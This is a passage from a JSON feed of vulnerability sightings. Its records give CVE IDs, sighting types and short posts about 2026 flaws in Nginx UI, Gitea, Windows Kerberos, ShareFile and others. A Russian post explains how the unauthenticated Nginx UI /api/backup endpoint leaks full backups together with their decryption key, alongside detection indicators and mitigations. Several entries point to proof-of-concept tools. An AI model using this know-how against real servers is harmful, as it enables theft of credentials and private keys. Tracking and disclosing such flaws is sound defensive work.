"2026-06-13T12:07:07.338336Z"}, {"uuid": "fc32cadf-4329-4e83-bd33-86b94416ebba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3msnx32f4g72q", "content": "ResetNightmare: POC tool for ResetNightmare (CVE-2026-27912)", "creation_timestamp": "2026-08-09T15:54:51.668925Z"}, {"uuid": "085e6786-3463-4622-a852-e74981a7104c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27833", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27833.yaml", "content": "", "creation_timestamp": "2026-06-15T03:37:36.000000Z"}, {"uuid": "fa7e873f-970f-44d1-ba00-6827816120d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "exploited", "source": "https://t.me/cyberok_news/189", "content": "\ud83d\udcbb \u0423\u0442\u0435\u0447\u043a\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0432 Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u043b \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE\u20112026\u201127944 (CVSS 9.8) \u0432 Nginx UI \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Nginx. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 (SSL-\u043a\u043b\u044e\u0447\u0438) \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx, \u2014 \u0438 \u0442\u0443\u0442 \u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043b\u044e\u0447\u0443, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u043c\u0443 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043e\u0442\u0432\u0435\u0442\u0430.\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~500 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 Nginx UI \u0432 \u0420\u0443\u043d\u0435\u0442\u0435, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 35% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-27944.\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0431\u044b\u043b\u0438 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 (GitHub)  \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043f\u0440\u044f\u043c\u043e\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443, \u0440\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0437\u043b\u043e\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0441\u043e\u043a.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: Nginx UI \u0434\u043e 2.3.3 (\u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f).\n\u2022 \u0422\u0438\u043f: \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 + \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f (CWE-306, CWE-311).\n\u2022 \u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442: \u043f\u0443\u0442\u044c /api/backup.\n\u2022 \u041f\u0440\u0438\u0447\u0438\u043d\u0430: \u043f\u0443\u0442\u044c /api/backup \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 HTTP X-Backup-Security. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 SSL-\u043a\u043b\u044e\u0447\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx.\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/backup \u043e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\u2022 \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043b\u043e\u0433\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 (access-\u043b\u043e\u0433\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430).\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u044b HTTP \u043e\u0442 Nginx UI (\u043f\u043e\u043b\u043d\u0430\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u0435\u0441\u0438\u0442\u044c \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u041c\u0411).\n\u2022 \u041f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0443\u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0430).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Nginx UI \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.3.3 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n2. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430; \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c (VPN) \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a /api/backup \u2014 \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442, \u0432\u044b\u0441\u043e\u043a\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n4. \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b: \u0441\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Nginx UI, \u043f\u0435\u0440\u0435\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u0435 SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0438 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435 \u0442\u043e\u043a\u0435\u043d\u044b.\n5. \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0439\u0442\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /api/backup \u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043e\u0442\u0432\u0435\u0442\u0430\u0445 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430.", "creation_timestamp": "2026-08-06T00:00:57.229548Z"}, {"uuid": "733a40d5-a5f6-4ada-98f0-291612a40c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mofdx4pubo2c", "content": "Any organisation running Gitea below 1.26.2 has been exposing its private container images to anyone on the internet for nearly four years. UK firm Noscope disclosed CVE-2026-27771 this week. About 30,000 deployments across 30 countries are affected - healthcare, aerospace, retail, ISPs.", "creation_timestamp": "2026-06-16T08:10:34.963936Z"}, {"uuid": "eea093c2-89b9-4ea0-9462-30c1db0946b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27783", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-3fwp-p5rj-2pxf", "content": "", "creation_timestamp": "2026-06-05T22:23:59.000000Z"}, {"uuid": "42e43859-2026-4c84-9a4d-8e9cfa449fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msororpzes2t", "content": "CVE-2026-27912 is trending. Hype score 3, currently #6 on cvemon.\n\nImproper authorization in Windows Kerberos allows an authorized attacker to elevate privileges over an adjacent network.\n\nhttps://cvemon.intruder.io/cves/CVE-2026-27912", "creation_timestamp": "2026-08-09T23:51:11.118835Z"}, {"uuid": "c616f97c-0808-43b9-922e-00a0d0521dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "content": "", "creation_timestamp": "2026-08-10T00:00:09.573850Z"}, {"uuid": "4704d588-1ab7-4e6e-a958-98dd55cd7b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27760", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27760.yaml", "content": "", "creation_timestamp": "2026-06-17T09:12:42.000000Z"}, {"uuid": "870d0e74-6f09-44ec-9c66-01bbb43afbb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/onelab1337/2873", "content": "New Progress ShareFile Flaws Expose Servers to Unauthorized Remote Takeover\n\nSecurity researchers at watchTowr Labs have disclosed a critical exploit chain in the Progress ShareFile Storage Zone Controller.\n\nThe vulnerabilities, tracked as CVE-2026-2699 and CVE-2026-2701, enable unauthenticated attackers to achieve Remote Code Execution (RCE) and completely compromise vulnerable servers.\n\nWith roughly 30,000 instances exposed to the public internet, organizations are urged to patch immediately to prevent catastrophic data breaches.\n\nManaged file transfer (MFT) solutions remain a top target for advanced persistent threat (APT) groups and ransomware syndicates.\n\nFollowing historic breaches involving tools like MOVEit, Cleo Harmony, and GoAnywhere, threat actors continuously hunt for unpatched data-sharing gateways.\n\nSee more here \ud83d\udc4b", "creation_timestamp": "2026-08-10T00:00:30.281373Z"}, {"uuid": "6b8545fa-fc55-4fbf-8875-a1b0bc5ffcd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27429", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moiij5wfno2b", "content": "CVE-2026-27429 - Unauthenticated PHP Object Injection in Nifty <= 1.4.1. CVSS 9.8. No patch available. Update immediately or disable. #CVE #infosec #PHP\n\nhttps://www.valtersit.com/cve/CVE-2026-27429/", "creation_timestamp": "2026-06-17T14:10:14.044362Z"}, {"uuid": "f6d7582e-8ac9-4cf7-aecf-73a076d32d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3moj5bkbvrq27", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-27577) n8n Remote Code Execution via Workflow Expressions\" and \"Continuous #AI #Pentesting: What We're Building, and What It's Already Finding\".\n \n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-06-17T20:21:47.214286Z"}, {"uuid": "6e1f67a5-d7ae-45ed-8bd9-7fd22e44180c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27886", "type": "published-proof-of-concept", "source": "Telegram/Ntg-ofD3LMIChp1i2CdfsMqFjxuqWO46POI-bnFaiH8mdGw", "content": "", "creation_timestamp": "2026-06-08T21:00:04.000000Z"}, {"uuid": "280e3877-f151-4710-8750-a97550978115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3monc7zv7he2t", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-27903 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/431 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-06-19T12:01:11.556355Z"}, {"uuid": "e82157e8-f07a-4f3c-93e7-10d078a53546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3monca3xv4p2i", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-27904 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/432 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-06-19T12:01:15.138524Z"}, {"uuid": "195b7b56-a073-4285-be58-870835cd8598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98079", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ResetNightmare\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Semperis-Community\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PowerShell\n\u2b50 Star\u6570\u91cf\uff1a 194  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 34\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 17:21:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC tool for ResetNightmare (CVE-2026-27912)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-15T00:00:15.015707Z"}, {"uuid": "03d9fdd1-7644-432e-8cea-418ee44b1a03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2764", "type": "published-proof-of-concept", "source": "Telegram/PfEGiROgrNR5ykZ5BXHTDqc3pwoH93Egm5-xEiTSmFuTh6c", "content": "", "creation_timestamp": "2026-08-13T00:00:44.432214Z"}, {"uuid": "3cbe1957-6908-4d1f-9c6e-5dd052d00f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2766", "type": "published-proof-of-concept", "source": "Telegram/PfEGiROgrNR5ykZ5BXHTDqc3pwoH93Egm5-xEiTSmFuTh6c", "content": "", "creation_timestamp": "2026-08-13T00:00:44.525005Z"}, {"uuid": "3a2c1f98-3df6-4c0d-a64d-8d1dc19b8760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27912", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mspwfa7tec2r", "content": "Monday\u2019s fuck up - Now Windows - github.com/Semperis-Com... #cve-2026-27912 #exploit #windows #resetnightmare #redteam #tool #critical ResetNightmare is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account.", "creation_timestamp": "2026-08-10T10:48:00.736702Z"}, {"uuid": "3c58fb9d-5851-4daa-9ddd-1a81853c6851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27604", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moxsdzkx7u2a", "content": "CVE-2026-27604 - FOSSBilling: Improper API Role Validation (system) Enables Unauthenticated Access to Privileged Admin Functions\nCVE ID : CVE-2026-27604\n \n Published : June 23, 2026, 2:25 p.m. | 1\u00a0hour, 18\u00a0minutes ago\n \n Description : FOSSBilling is a free, open-source billing...", "creation_timestamp": "2026-06-23T16:16:15.041866Z"}, {"uuid": "a570ce2e-6ab1-4b39-bc03-7d665ce8263f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27788", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mozyllq2qk2l", "content": "\u30a8\u30d5\u30b5\u30b9\u88fd\u30b5\u30fc\u30d0\u7ba1\u7406\u30bd\u30d5\u30c8\u300cServerView Agents for Windows\u300d\u306b\u8907\u6570\u8106\u5f31\u6027\n\n\u5bcc\u58eb\u901a\u5b50\u4f1a\u793e\u306e\u30a8\u30d5\u30b5\u30b9\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\u30ba\u304c\u63d0\u4f9b\u3059\u308b\u30b5\u30fc\u30d0\u7ba1\u7406\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u300cServerView Agents for Windows\u300d\u306b\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u547c\u3073\u304b\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\n\u300c\u540cV11.60.04\u300d\u304a\u3088\u3073\u305d\u308c\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b2\u4ef6\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u91cd\u8981\u306a\u30ea\u30bd\u30fc\u30b9\u306b\u5bfe\u3059\u308b\u4e0d\u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u5272\u308a\u5f53\u3066\u300cCVE-2026-27788\u300d\u3068\u3001\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-32325\u300d\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3002\n\n\u540c\u88fd\u54c1\u304c\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u305f\u30b5\u30fc\u30d0\u3078\u30ed\u